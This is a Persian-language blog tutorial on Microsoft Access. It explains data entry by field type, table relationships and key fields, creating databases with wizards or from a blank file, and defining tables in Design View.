كاركرد اين پنجره zoom به طرز خاصي تعجب آور است مثلا اگر شما بخواهيد پس از پايان يك پاراگراف در فيلد Memo يك پاراگراف ديگر را شروع به تايپ كنيدبايد به جاي Enter كليدهاي ctrl+Enter را فشار دهيد. تا اكسس نشانگر را به خط جديد ببرد.
اگر براي ورود داده ها از فرم استفاده كنيد فرم قادر خواهد بود تا تمامي فيلد Memo را در يك لحظه نمايش دهد و به شما امكان مي دهد تا به راحتي و بسيار طبيعي تر در فيلد از نوع Memo گردش كنيد.(البته بعدا در مورد فرمها به طور مفصل صحبت خواهيم كرد.)

ورود داده در فيلدي از نوع Data/Time (تاريخ/زمان):

در ورود داده در اين نوع فيلد بايد توجه كنيد كه شما در هنگام ايجاد پايگاه داده براي ورود داده در اين فيلد چه شكلي را انتخاب كرده ايد پس بايد بر اساس همان شكل انتخابي داده ها را وارد كنيد. واضح است كه در اين نوع فيلدها هم تاريخ و هم زمان را مي توانيد وارد كنيد يا يكي را وارد كنيد. براي درج تاريخ سيستمي خود در اين نوع فيلد (يعني تاريخ حال) كافي است دكمه هاي ;+Ctrl را فشار دهيد تا تاريخ موجود در سيستم در فيلد وارد شود.

ورود داده در فيلدي از نوع Yes/No (بلي/خير):

اگر داده اي از نوع Yes/No در جدول خود داشته باشيد به جاي آن يك جعبه انتخابي را خواهيد ديد كه اگر جعبه را انتخاب كنيد در واقع Yes و اگر انتخاب نكنيد در واقع No را برگزيده ايد. براي انتخاب جعبه هاي انتخابي يا بايد از ماوس استفاده كنيد يا اينكه كليد SpaceBar را از صفحه كليد فشار دهيد.

ورود داده در فيلدي از نوع OLE:

اگر بخواهيد داده هاي نرم افزارهاي ديگر را در اكسس ذخيره كنيد (مانند عكس,صوت,فيلم و غيره) بايد داده اي از نوع OLE ايجاد كرده باشيد نحوه ايجاد اين نوع داده در دروس پيش گفته شده است. براي وارد كردن اين نوع داده نمي توانيد از صفحه كليد استفاده كنيد پس بايد روش مخصوصي را طي كنيد. براي قرار دادن شي از نوع OLE ابتدا بايد مكان شي OLE را با استفاده از ماوس در جدول انتخاب كنيد بعد از منو Insert گزينه Object را انتخاب كنيد تا پنجره اي مانند شكل 112 در زير باز شود. اين پنجره راه ورود داده هاي ديگر در اكسس است.



در اين پنجره دو انتخاب وجود دارد يكي استفاده از نرم افزارهاي گوناگون براي ايجاد فايل مورد نظر(Create New) و ديگري استفاده از فايلهايي كه قبلا ايجاد و روي هارد ذخيره شده اند(Create form file). اگر از حالت اول استفاده كنيد يعني قصد داشته باشيد با استفاده از نرم افزاري ديگر اقدام به ايجاد فايل خود كنيد با انتخاب گزينه Create Now از ليست كناري آن نرم افزار مورد نظر خود را انتخاب كنيد و بر روي OK كليك كنيد تا نرم افزار باز شود و شي جديد ايجاد گردد.(مانند استفاده از نرم افزار Photoshop براي ذخيره يك فايل فوتوشاپ در پايگاه داده)
ولي اگر حالت دوم را مورد استفاده قرار مي دهيدهرچند كه پيشنهاد من استفاده از مورد قبل است بايد گزينه Create form file را انتخاب كنيد تا كادري در مقابل شما ايجاد شود. با كليك روي دكمه Browse اقدام به انتخاب فايل موردنظر كنيد. توجه كنيد كه اكسس نمي تواند در حالت نمايشي Datasheet شي از نوع OLE را نمايش دهد و فقط به ذكر يك نام در مورد آن بسنده مي كند مانند Bitmap Image ولي با استفاده از فرمها يا گزارشها مي توان موضوع OLE را نمايش داد.
درس ورود داده ها در جدول هم به پايان رسيد. اميدواريم اين مبحث براي شما مفيد بوده باشد.

 
comment نظرات ()
 
 
آموزش access قسمت سوم
نویسنده : Hossein - ساعت ۱٠:٥۸ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 
درک بهتر مفهوم ارتباط

در دروس پيشين به طور تدريجي آشنايي نسبتا كاملي با اجزاي يك پايگاه داده آشنا شديم و محيط پنجره Database را به خوبي شناختيم. حال نوبت آن رسيده است كه شروع به طراحي كنيم و با دستان قدرتمند خود پايگاه داده زيبايي را خلق كنيم ولي قبل از اينكار بايد مفهوم ارتباطات بين جداول را بهتر درك كنيم.
در اين درس مفهوم ارتباط بين جدولهاي يك پايگاه داده را بهتر درك خواهيم كرد و روشهاي مختلف ارتباط را ياد خواهيم گرفت و بدين ترتيب براي ايجاد جداول پايگاه داده خود را آماده تر خواهيم كرد.گاهي دقيقا نمي دانيم كه چه نوع داده هايي وارد جدول خواهند شد پس براي رفع اين مشكل به تدريج با نظريه طراحي پايگاه داده آشنا مي شويم.

درك ارتباط بين جداول:

قبلا گفته شد كه جداول از طريق فيلدهاي مشترك به يكديگر مرتبط هستند. هرچند كه فيلدهاي مشترك مرتبط شده, سبب تكرار برخي داده ها ميشوند.(در هرجدولي كه به ديگري مرتبط است خود فيلد مشترك دوباره ظاهر مي شود), ولي خواهيد ديد كه وقتي قدام به ايجاد پايگاه داده مي كنيد, فيلد مشترك كمك مي كند تا بسياري از داده هاي تكراري, كه در صورت نبود فيلد مشترك ايجاد مي شود, از بين ببريد.
ممكن است واژه شناسي پايگاه داده ها گيج كننده باشد اما خوشبختانه ساده ترين زبان زبان ارتباطي است, كه چگونگي ارتباط جداول به يكديگر را تعريف مي كند. در اين درس به سه روش ارتباط خواهيم پرداخت: 1-ارتباط يكي به يك 2-ارتباط يك به چند 3-ارتباط چند به چند

فيلدهاي كليدي منحصر به فرد ركوردها:

قبل از تشريح ارتباطات جداول, دقت داشته باشيد كه اغلب جداول پايگاه داده, فيلدي به نام فيلد كليد دارند, كه به ساير فيلدهاي جدول تقدم دارد. هرچند كه فيلد كليد لزوما مهمترين ارزش اطلاعاتي را ندارد, ولي دري هستند براي ورود به جدول كه نياز اصلي ما در ارتباط شمرده مي شود.فيلد كليد, فيلدي از جدول است كه بصورتي منحصر به فرد هر ركورد را تبيين مي كند.(يعني امكان اينكه فيلد كليد در دو ركورد مانند هم باشند وجود ندارد.)
توجه: فيلد كليد اصلي جدول بايد مقداري منحصر به فرد داشته باشد. اكسس امكان تعيين چندين فيلد كليد را مي دهد. اگر كليد از چندين فيلد تشكيل شده باشد, يك يا چند تا از اين فيلدها ممكن است داده هاي تكراري داشته باشندولي وقتي تركيب شوند, فيلد ادغامي بايد مقدار منحصر به فردي را ايجاد كند. توجه بيشتر به اين مثال خالي از لطف نيست: جدول كارمندان معمولا شامل فيلدهايي از قبيل نام كارمند, نشاني, تاريخ تولد, ميزان حقوق مي شود. بعلاوه هميشه مانند كد ملي, يك شماره كارمندي دارند. كد ملي شما منحصر به فرد است يعني تنها به يك نفر اختصاص دارد بنابراين اين شماره كارمندي فيلد كليدي خوبي براي فايل كارمندان است. به شكل 61 در زير توجه كنيد:

براي دسترسي به نام, نشاني يا حقوق هر كارمند, صرفنظر از تعداد كارمندان جدول اكسس فقط به شماره كارمند احتياج دارد.هر كارمند شماره منحصر بفردي دارد لذا هنگامي كه اكسس يكبار شماره كارمندي را گرفت, مي تواند آنرا با ركوردي از جدول پيوند دهد, يكبار براي هر ركورد. به اين ترتيب اكسس مي تواند به بقيه داده هاي ركورد در ساير فيلدها دسترسي داشته باشد.
توجه: اسامي فيلدها كليدهاي خوبي نيستند, چون افراد بسياري نام يكسان دارندو يا بسياري از افراد اسامي را به شكلهاي گوناگون مي نويسند. زماني كه يك شركت به مشتريان, كارمندان و اجناس خود عددي را تخصيص مي دهد, احتمالا آن شركت پروژه هايش را كامپيوتري كرده است. اين اعداد مي تواند كليد منحصر به فردي براي يافتن بقيه داده هاي مرتبط با آن باشند.
همچنين بايد به نكته توجه داشته باشيد كه فيلد كليد همواره فيلد ارتباط دوجدول مرتبط نيست ولي براي اين كار بسيار مناسب است و غالبا براي همين منظور به كار مي رود.
دو يا چند فيلد نيز مي توانند يك كليد منحصر به فرد را تشكيل دهند. اغلب به فيلد كليد, فيلد كليد اصلي گفته مي شود. اگر بخواهيد كه دو يا چند فيلد همراه با يكديگر به عنوان كليدي منحصر به فرد عمل كنند, بايد اكسس را واداريد تا فيلدهاي ادغام شده را به عنوان يك فيلد منحصر به فرد در نظر گيرد. مثلا ممكن است بخواهيد كه دو فيلد نام خانوادگي و كد پستي را يكديگر ادغام كنيد تا فيلد كليد نحصر به فردي ايجاد شود.
حال كه با مفهوم فيلد كليد براي ارتباط آشنا شديد به انواع ارتباط موجود در اكسس مي پردازيم:

ارتباطات يك به يك(One to One):

شايد ارتباط يك به يك نادرترين ارتباط ممكن بين جداول باشد. هنگامي كه در دو جدول تعداد ركوردها يكسان باشد و هر ركورد يك جدول به ركورد ديگري در جدول ديگر مرتبط باشد, بك ارتباط يك به يك بوجود مي آيد. ارتباط يك به يك نادرست است چون معمولا مي توانيد آن دو جدول را در يك جدول ادغام كنيد.
در شكل 62 در زير مثالي از ارتباط يك به يك بين دو جدول نشان داده شده است. فيلد كد كالا كليد و فيلد ارتباط را تشكيل مي دهد. نخستين ركورد در نخستين جدول به نخستين ركورد در دومين جدول مرتبط شده است.



خود شركت ماكروسافت توصيه مي كند كه از ارتباط يك به يك اجتناب كنيد. زيرا بهتر آن است كه دو جدول را در يك جدول بزرگتر ادغام كنيد, كه اين طريقه بسيار كارآتر است. در اكسس هر جدول مي تواند تا 256 فيلد داشته باشد ولي اگر وجود جدولي با بيش از 256 فيلد ضرورت داشته باشد,فقط با ايجاد دو يا چند جدول و برقراري ارتباط يك به يك بين آنها, قادر به برآوردن اين نياز خواهيد بود. كه براي اين منظور هم ماكروسافت امكانات بسياري را فراهم آورده است از ان جمله امكان دسترسي سريع به اطلاعات جدول دوم از طريق جدول اول بدون باز كردن آن جدول.

ارتباط يك به چند(One to Many):

ارتباط يك به چند شايد متداولترين نوع ارتباط بين جداول باشد. اين ارتباط زماني اتفاق مي افتد كه يك ركورد از جدول به يك يا چند ركورد از جدول ديگر مرتبط باشد. به عنوان مثال در جدول موجودي براي هر كالايي كه فروخته مي شود, يك ركورد وجود دارد. ولي در جدول سفارشات مشتريان ممكن است براي يك كالا, سفارشات متعددي وجود داشته باشد. در شكل 63 در زير نمونه اي از ارتباط يك به چند جداول مشاهده مي شود.


ارتباط يك به چند صرف جويي زيادي در فضاي ديسك را سبب مي شود. مثلا ارتباط يك به چندي كه در شكل 63 در بالا نشان داده شد, به شما امكان مي دهد تا گزارشي تهيه كنيد كه شامل مشتري همراه با شرح كالاي سفارشي باشد. ولي شرح در هر ركورد سفارش نمي آيد. شرح هركالا در جايي مستقل,در ركوردي منحصر بفرد در فايل موجودي قرار دارد. اكسس مي تواند در هنگام نياز, با استفاده از فيلد ارتباطي مشترك از جدول سفارش در جدول موجودي جستجو كند و شرح كالا را از آنجا بردارد. اكسس بدون فيلد كليد نمي تواند تعيين كند كه در برابر هر سفارش چه شرحي را بايد قرار دهد.
توجه داشته باشيد كه اكسس جدولهاي مرتبط را مي شناسدو در موقع لزوم اطلاعات صحيح را از آنها استخراج مي كند. لذا بايد هنگام ايجاد پايگاه داده اكسس اين ارتباطات را به اكسس بفهمانيد تا در هنگام مشاهده و چاپ داده ها از جداول مرتبط اكسس تمام كارها را انجام دهد.
همچنين قابل ذكر است كه ارتباط چند به يك و يك به چند مشابه هستند, لذا هر دو عبارت به يك معني به كار مي روند.

ارتباطات چند به چند(Many to Many):

اكسس ارتباطات چند به چند را مستقيما پشتيباني نمي كند ولي مي توانيد آن را شبيه سازي كنيد. ارتباط چند به چند هنگامي ايجاد مي شود كه ركوردهاي متعددي از يك جدول به يك يا چند ركورد از جدول ديگر مرتبط باشند. براساس تصاوير جداولي كه قبلا مشاهده كرده ايد, مي توان چنين تصور كرد كه خريداران متعددي, محصولات متعددي را سفارش دهند. بنابراين بين خريداران و محصولات يك ارتباط چند به چند وجود دارد.
جدول خريداران و جدول موجودي محصولات از طريق جدول سفارش به هم متصل مي شوند.بنابراين براي ارتباط چند به چند بين خريداران و موجودي محصولات, جدول سفارشات بعنوان واسطه بين اين دو جدول عمل مي كند.جدول خريداران ارتباطي يك به چند با جدول سفارشات دارد و جدول محصولات نيز ارتباطي يك به چند با جدول سفارشات دارد.پس همانطور كه در شكل 64 در زير مي بينيد جدول سفارشات بطور غير مستقيم بين خريداران و محصولات ارتباط چند به چند ايجاد مي كند.


گاهي اوقات, جدول مركزي يا واسطه در ارتباط چند به چند جدول اتصال خوانده مي شود. فيلدهاي كليد اصلي هر دو جدولي كه قرار است به هم مرتبط شوند, بايد در اين جدول وجود داشته باشد.
درس ارتباطات هم در اين قسمت تمام شد و اميدوارم ديگر جاي ابهامي در مورد انواع ارتباطات باقي نمانده باشد.

طراحی یک پایگاه داده های جدید

در درس پيش در مورد ارتباطات جداول به طور مفصل توضيحاتي داديم و انواع ارتباطات را شناختيم حال ديگر قادر به ايجاد پايگاه داده دلخواه خود هستيم و اين كار را به تدريج از اين درس كه مقدمي بر ايجاد پايگاه داده جديد است آغاز مي كنيم.
در اين درس در مورد جادوگرهاي اكسس (Wizards) صحبت خواهيم كرد. اين جادوگرها شما را در ايجاد برنامه هاي كاربردي متداول پايگاه داده ها, از قبيل مديريت فهرست پستي يا ورود سفارشات راهنمايي مي كنند.هرچند كه نيازهاي شما به كار خاص موردنظر يا احتياجات شخصيتان مربوط است, اما بيشتر پايگاه داده ها به يكي از نمونه هاي كلي پايگاه داده تعلق دارند. جادوهاي اكسس چهارچوب پايگاه داده برنامه كاربردي را ايجاد مي كنند, در مرحله بعد شما مي توانيد آن را اصلاح كنيد تا با نيازهاي خاص شما تطابق داشته باشد. اما به هرحال براي ايجاد پايگاه داده مجبور به استفاده از جادوگر نيستيد. شايد جادوگرها به كنترل مورد نظر شما به عنوان يك پايگاه داده امكانات لازم را فراهم نكنند.

ايجاد پايگاه داده هاي جديد با استفاده از جادوگر:

براي ايجاد يك پايگاه داده با بهره گيري از جادوگر(Wizard) بايد هنگام وارد شدن به اكسس از طريق پنجره اوليه قسمت Access database wizards,pages and projects را انتخاب كنيد و يا اگر وارد محيط اكسس شده ايد از منو File گزينه New را انتخاب كنيد,تا پنجره محاوره اي New كه داراي دو سربرگ است ظاهر شود.
هنگامي كه سربرگ General (عمومي) را انتخاب مي كنيد, صفحه General ظاهر مي شود كه با آن مي توانيد يك پايگاه داده خالي ايجاد كنيد. در دروس بعدي نحوه ايجاد يك پايگاه داده خالي را شرح خواهم داد. اصولا زماني پايگاه داده خالي ليجاد مي كنيم كه بخواهيم تمامي جنبه هاي اوليه طراحي و ايجاد پايگاه داده را كنترل كنيم. زماني كه يك پايگاه داده جديد و خالي ايجاد مي كنيم اكسس كاري براي شما انجام نمي دهد و هيچ پيش فرضي راجع به پايگاه داده اي كه مي خواهيد ايجاد كنيد,ندارد.
ولي به جاي ايجاد يك پايگاه داده خالي مي توانيد بر روي سربرگ Databases كليك كنيد تا صفحه Databases در پنجره محاوره اي New, نمايان شود. توجه داشته باشيد كه جادوگر راهنماي گام به گام اكسس است كه در انجام كارهايي از قبيل ايجاد پايگاه داده جديد به شما كمك مي كند. اگر اكسس جادوگري داشته باشد كه امكان ايجاد پايگاه داده اي مشابه آنچه لازم داريد را فراهم سازد راحتتر آن است كه بجاي اين كه از ابتدا پايگاه داده ايجاد كنيد, جادوگر را به كار اندازيد. در زير هر يك از پايگاه داده هايي كه توسط جادوگر مي توان ايجاد كرد تشريح شده است, براي اجراي آن كافي است كه نماد مربوطه را انتخاب كنيد و بر روي كليد Ok كليك كنيد.
حال به جادوگرهاي موجود و كاري كه براي شما در اكسس انجام مي دهند توجه كنيد:
------------------
Asset Tracking(پيگيري اموال): پايگاه داده اي براي مديريت, نگهداري اموال, فروشندگان و كارمندان شركت ايجاد مي كند.
Contact Managment(مديريت ملاقاتها): پايگاه داده اي براي قرارهاي ملاقات و تماسهاي تلفني شخصي شما ايجاد مي كند.
Event Managment(مديريت وقايع):يك پايگاه داده براي وقايعي مانند قراردادها(موافقت نامه ها), كارمندان و قيمتها ايجاد مي كند.
Expenses(مخارج و هزينه ها):يك پايگاه داده براي نگهداري گزارشهاي مخارج ايجاد مي كند.
Inventory Control(كنترل موجودي):پايگاه داده اي براي اطلاعات محصولات, خريداران و سفارشات ايجاد مي كند.
Ledger(حساب كل): پايگاه داده اي براي حسابهاي كل, شامل تبادلات و حسابها ايجاد مي كند.
Order Entry(دريافت سفارش): پايگاه داده اي براي مديريت سفارشات خريداران, پرداختها و محصولات ايجاد مي كند. در اين پايگاه داده سيستمي از جداول ايجاد ميشود كه تاحدودي به جداولي كه در قبلا در درسهاي پيش شرح داديم تطابق دارد.
Resource Scheduling(زمانبندي منابع): پايگاه داده اي براي مديريت منابعي از قبيل زمانبندي و اقلام خريداران ايجاد مي كند.

Service Call Managment(مديريت سرويس تلفن):

پايگاه داده اي براي نگهداري اطلاعات خريداران, كار, دستورات كار, قطعات و پرداختها ايجاد مي كند. Time and billing(زمان و صورتحساب): پايگاه داده اي براي نگهداري مشتريان, پروژه ها, كارتهاي زماني, كارمندان و پرداختها ايجاد مي كند.
-------------------
توجه كنيد كه اگر جادوگري انتخاب كنيد در همان پنجره New در طرف راست زير قسمت Preview شكلي هدف پايگاه داده را كه چندان واضح نيست نشان مي دهد يعني شما مي توانيد با انتخاب پايگاه داده ابتدا از هدف ايجاد آن از طريق اين شكل مطلع شويد و سپس برروي Ok كليك كنيد.
جادوگر نه تنها جداول اصلي پايگاه داده را ايجاد مي كند, بلكه همچنين فرمها, گزارشها و حتي ماكروها و برنامه هاي اصلي را نيز در صورت لزوم ايجاد مي كند. استفاده از جادوگر براي ايجاد پايگاه داده اصلي, تهيه پايگاه داده اصلي را بسيار ساده تر مي كند. بطور خلاصه مراحل ايجاد يك پايگاه داده با استفاده از جادوگر را شرح مي دهم:
1-جادوگر مورد نظر خود را در پنجره New انتخاب كنيد و بر روي Ok كليك كنيد.
2-نامي براي ذخيره شدن پايگاه داده انتخاب كنيد يا نام پيش فرض را قبول كنيد و بر روي Create كليك كنيد.
3-پنجره اي ظاهر مي شود كه پايگاه داده اي را كه مي خواهيد ايجاد كنيد به شما معرفي مي كند و شكل كلي آن را اعلام مي كند. اگر اين همان پايگاه داده مورد نظر شماست بر روي Next كليك كنيد.
4- در پنجره بعدي در مورد جداول و ديگر اجزايي كه ايجاد خواهد شد به شما اطلاعاتي مي دهد شما مي توانيد از ليست موجود جدولهاي مورد نظر خود را انتخاب يا حذف كنيد و سپس بر روي Next كليك كنيد.
5-در پنجره بعدي ليستي ظاهر مي شود كه شما مي توانيد شكل ظاهري پايگاه داده خود را از ليست انتخاب كنيد شكل مورد علاقه خود را انتخاب كرده بر روي Next كليك كنيد.
6-در پنجره بعدي شكل كلي گزارشهاي شما را نشان مي دهد در اين قسمت هم با انتخاب شكل موردنظر خود روي Next كليك كنيد.
7-در اين قسمت عنوان پايگاه داده از شما سوال مي شود مي توانيد نام پيش فرض را انتخاب كرده و بر روي Next كليك كنيد.
8- حال ديگر كار جادوگر تمام شده است مي توانيد بر روي Finish كليك كنيد.
9- بعدي مدتي كه اكسس تمامي جداولها و اجزا را ايجاد كرد مي توانيد با پايگاه داده كار كنيد. توجه كنيد كه در هر مرحله اي كه منصرف شديد مي توانيد بر روي Cancel كليك كنيد.
10-ذكر اين نكته نيز ضروري به نظر مي رسدبعضي از سوالها كه در هنگام ايجاد پايگاه داده با استفاده از جادوگر از شما مي شود شايد براي شما گنگ به نظر برسد ولي مطمئنا بعد از يادگيري كامل اين سوالات را مي توانيد به راحتي جواب دهيد. پس حتما بايد با ايجاد يك پايگاه داده خالي آشنا شويد.

طراحي يك پايگاه داده جديد:

اگر قصد داريد كه از جادوگر استفاده نكنيد كه به نظر من كار معقولانه اي است بايد مراحل زير را بپيماييد:
1-هنگام وارد شدن به اكسس از پنجره اوليه باز شده گزينه Blank access database راانتخاب كنيد و اگر وارد محيط اكسس شده ايد مي توانيد از منو File گزينه New را انتخاب كنيد و از پنجره New در سربرگ General شكل database را انتخاب كرده و برروي Ok كليك كنيد.
2- حال بايد محل ذخيره شده پايگاه داده را انتخاب كرده و نامي براي آن انتخاب كنيد كه من مطمئن هستم با اينكار آشنايي لازم را داريد پس نامي براي پايگاه داده خود انتخاب كرده و بر روي Create كليك كنيد.
3- حال اكسس پايگاه داده را ايجاد كرده و صفحه خالي در برابر شما ظاهر شده است از اين قسمت به بعد بايد آشنايي لازم را به كارهاي پيشرفته داشته باشيد.
توجه كنيد كه هنگامي اصول كار اكسس را رفته رفته بهتر ياد گرفتيد جادوگرها هم بهتر درك خواهيد كرد.

ميله ابزار پنجره Database:

هنگامي كه يك پايگاه داده جديد ايجاد كرده باشيد ميله ابزار به صورت شكل 71 در زير درمي آيد. اين ميله ابزار در حالات مختلف تغيير مي كند و امكانات ديگري را به شما مي رساند.


درس مربوط به طراحي پايگاه داده جديد نيز در اينجا تمام مي شود اميدوارم حالا شما قادر به ايجاد پايگاه داده اي جديد با استفاده از جادوگر شده باشيد. در درس بعدي يكي از مفاهيم پيشرفته و ضروري اكسس را ياد خواهيد گرفت يعني با تعريف جدول و نحوه عملكرد آن به صورت پيشرفته آشنا مي شويد.

تعریف جدول

حال كه با مفهوم ارتباطات آشنا شديم و در درس قبل كاربرد ويزارد و همچنين ايجاد پايگاه داده خالي را شرح داديم نوبت آن رسيده است كه به سراغ مهمترين و اصلي ترين جز در يك پايگاه داده برويم و آن جداول مي باشند. در اين درس قصد داريم با آنها آشنايي لازم را كسب كنيم.
در اين درس نحوه تعريف جداول پايگاه داده را شرح خواهم داد. صرف نظر از اينكه ما براي ايجاد پايگاه داده از جادوگر استفاده كرده يا پايگاه داده خالي ايجاد كرده ايم آشنايي با نحوه ايجاد, جابجايي و تغيير جداول پايگاه داده امري ضروري و اجتناب ناپذير است.همانگونه كه قبلا هم گفته شد داده هاي موجود در پايگاه داده در جدولها جاي مي گيرند و تسلط بر جداول مهمترين مهارتي است كه بايد بعنوان كاربر اكسس داشته باشيد. من در اين درس شرح خواهم داد كه چگونه جدول جديدي درست كنيد. براي ايجاد جدول نخست بايد انرا نامگذاري كنيد و سپس نوع داده هاي درون انرا تعريف كنيد. اين امور كه مربوط به طراحي جدول است يكي از ساده ترين كارها در اكسس است و البته جالب پس اين درس نكات قابل توجهي براي شما خواهد داشت.

ايجاد جدول جديد:

وقتي كه مي خواهيد يك جدول جديد ايجاد كنيد, با كليك كردن بر روي شاخص Tables در پنجره Database به صفحه جداول(Tables) مي رويد.(البته توجه كنيد كه اين صفحه هنگامي كه پايگاه داده را باز يا ايجاد مي كنيد به صورت پيش فرض ظاهر مي شود).حال براي ايجاد جدولي جديد بايد بر روي دكمه New در بالاي پنجره Database كليك كنيد. هنگامي كه بر روي اين دكمه كليك مي كنيداكسس پنجره محاوره اي كوچكي به نام New Table را نشان مي دهد.(كليد ميانبري كه شما مي توانيد براي دسترسي به اين پنجره كوچك استفاده كنيد كليد Alt+N مي باشد كه به سرعت شما را به اين پنجره مي برد).
در اين پنجره بايد انتخاب كنيم كه مي خواهيم ايجاد جدول را در چه محيطي ادامه دهيم كه به نظر من حالت نمايشي Design بهترين حالت نمايشي براي ايجاد و كار با جدول است,براي ايجاد جدول گزينه Design View را از پنجره محاوره اي New Table انتخاب كرده و بر روي Ok كليك كنيد. براي آشنايي شما با ديگر گزينه هاي اين پنجره يعني New Table آنها را در زير به طور خلاصه شرح مي دهم.
---------------
Datasheet View: جدولي كلي به شكل صفحه گسترده مي سازد كه مي توانيد داده هاي جديد را در آن اضافه كنيد. اين جدول بسيار ساده بوده و براي ايجاد پايگاه داده پيشرفته اصلا مناسب نيست.
Design View: امكان تعيين تمامي خصوصيات جدول جديد مانند نام فيلد, نوع داده, و حتي ملاحظات امنيتي, را فراهم مي كند.اين گزينه براي ايجاد هر گونه جدول مناسب است.
Table Wizard: امكان انتخاب از ميان فهرستي از جادوگرهاي از پيش نوشته شده را فراهم مي سازد كه از اين جادوگرها براي ايجاد جداول خاص مانند فهرست پستي يا جدول موجودي استفاده مي شود. من اين گزينه را براي ايجاد جدول به هيچ وجه پيشنهاد نمي كنم.
Import Table: از يك فايل داده غير اكسس, جدولي ايجاد مي كند.
Link Table: از يك فايل داده اكسس يا غيراكسس, جدول ديگري مي سازد. اين جدول اتصالي را نگه مي دارد كه اگر فايل داده خارجي تغيير كند جدول اكسس نيز تغيير كند.
---------------
به موضوع اصلي برمي گرديم يعني حالت نمايشي Design. اين حالت نمايشي بيشترين ميزان كنترل را برروي جدولي كه قصد ايجاد آنرا داريد فراهم مي سازد. هنگامي كه برحالت نمايشي Design تسلط پيدا كرديد, مي توانيد هر جدولي را ايجاد و اصلاح كرده و يا مطابق ميلتان دستكاري كنيد, و اين شامل جداولي كه با جادوگر ايجاد كرده اين نيز مي شود.بعد از انتخاب حالت Design View از پنجره New Table جدول جديدي را خواهيد ديد كه اصول كار ما از اينجا شكل مي گيرد.
لازم به يادآوري است كه همانطور كه قبلا گفتم براي رفتن از حالت نمايشي Design View به حالت نمايشي Datasheet View مي توانيد از منو View يا ميله ابزار استفاده كنيد. در ميله ابزار اولين انتخاب كه به شكل جدول كوچكي است براي اينكار طراحي شده است.در شكل 81 در زير شما مي توانيد ميله ابزار را در بعد از باز شدن پنجره Design تغيير كرده است ببينيد و با آن آشنا شويد و سعي كنيد آنرا به خاطر بسپاريد.ذكر اين نكته قابل توجه است كه اكسس همواره ميله ابزار را تغيير مي دهد را فرامين كارايي بهتري را ايجاد كنند.

نخستين جدول خود را طراحي كنيد:
در ميله عنوان پنجره Design View, نام جدول همراه با كلمه Table كه معرف پنجره است, نشان داده مي شود.اكسس به طور خودكار نخستين جدول را Table1 مي نامد(يعني شما در ميله عنوان اين عبارت را مي بينيد Table1:Table)اما هرگاه كه بخواهيد جدول را در فايل پايگاه داده ذخيره كنيد,امكان تغيير نام وجود دارد. هر سطر در پنجره Design View يك فيلد را مشخص مي كنديعني در اين پنجره ما مي توانيم نوع فيلدها و نام آنها را در سطرها تعريف كنيم و كار اصلي اين پنجره به شمار مي رود.همانگونه كه ملاحظه مي شود, پنجره Design View داراي ميله گردان عمودي در سمت راست است لذا در صورت تمايل تا 256 فيلد مي توانيد اضافه كنيد و با استفاده از ميله گردان قادر به حركت بين فيلدها هستند.
هنگامي كه فيلدي مي خواهيم اضافه كنيم بايد در سه ستون پنجره Design View آن فيلد را به طور كامل تعريف مي كنيم.در زير وظيف هر يك از ستونها كه در تعريف فيلدهاي جدول كاربرد دارند تشريح شده است:
---------------
Field Name(نام فيلد):بايد به هر فيلدنامي تخصيص دهيد.طول نام آن تا 64 حرف مي تواند باشد.نام فيلد بايد عنواني منحصر بفرد باشد.براي فيلدي كه ارقام حقوق را نگه مي دارد,بهترين نام حقوق يا مبلغ حقوق است.نام فيلد مي تواند فضاي خالي و ساير علايم خاص بجز نقطه,علامت تعجب,علامت تكيه صدا(')يا براكت را شامل شود.توجه داشته باشيد كه هنگام كار با جدول براي رجوع به فيلد از نام آن استفاده مي شود.
Data Type(نوع داده):نوع داده اي را كه در فيلد جاي مي گيرد را تعيين مي كند. اكسس داده هاي مختلفي را دارا است.به عنوان مثال براي فيلد حقوق بايد داده اي از نوع ارز يا انتخاب كرد.(در درس آتي در اين مورد به صورت مفصل توضيح خواهم داد).
Description(شرح):شرح اختياري است و براي توضيح فيلد به كار مي رود.مي توانيد منشا و محتواي فيلد را در آن تشرح كنيد.توجه داشته باشيد كه پر كردن يا نكردن اين قسمت اصلا تاثيري در جدول نخواهد داشت.
---------------
توجه:ايجاد شرح براي هر فيلد عاذت خوبي است.در هنگام توسعه بعدي برنامه,اين كار بسيار سودمند خواهد بود.براي فيلدها اسامي معني دار انتخاب كنيدتا بعدا داده هاي داخل فيلد از طريق نامش قابل شناسايي باشند. مثلا:تاريخ تولد,نام فيلد خوبي براي تاريخ تولد كارمند است, حال آنكه نامي مانند فيلد3, محتواي فيلد را مشخص نمي كند.

مفهوم اولين و آخرين ستونهاي جدول پنجره Design view يعني ستونهاي نام فيلد و شرح از نامشان مشخص است.
نام فيلد شرح كوچكي از فيلد است و براي رجوع به فيلد و محتواي آن مورد استفاده قرار مي گيرد.مثلا: در يك گزارش دستمزد اگر قرار باشد مقادير حقوق كه در فيلد حقوق ذخيره شده است چاپ شود به اين فيلد رجوع مي شود.فيلد شرح بعنوان مرجعي براي مستندسازي محتواي فيلد به كار مي رود.اكسس از اين فيلد هيچ استفاده اي نمي كند, ولي شما بايد از اين بخش براي شرح هر فيلد پايگاه داده استفاده كنيد. اگر با ساير همكاران برروي يك پروژه پايگاه داده كار مي كنيد,هريك از شما بايد هر فيلدي را كه به پايگاه داده اضافه مي كنيد را مستند كنيد,تا ديگران از علت وجود فيلد كاملا آگاه باشند.
توجه:فيلدها را بيش از حد مستند نكنيد.براي نمونه,يك ستون خالي شرح بهتري از شرحي است كه تاثيري نداشته باشد.مثلا نوشتن شرح "فيلد سوم" زائد بوده و در واقع توضيحي نمي دهد.بعلاوه شرحي كه مشابه نام فيلد باشدنيز غيرضروري است. هرفيلدي به شرح نياز ندارد.مثلا فيلدي با نام نرخ ماليات, در جدول دستمزد, به فيلد شرح احتياجي ندارد. اگر نامي كه براي فيلد انتخاب مي كنيد بامعني باشد اصلا به شرح نياز ندارد.
ستون مياني در پنجره Design View نوع داده را تعيين مي كند.براي اين فيلد,به اطلاعات بيشتري نياز داريد.داده هاي اكسس به اشكال مختلفي ظاهر مي شوند.شكل داده هاي فيلد مشخص كننده كاري است كه با فيلد و محتواي آن مي توانيد انجام دهيد. ستون Data Type و كليه موارد مربوط به آن در درس بعدي توضيح داده خواهد شد.

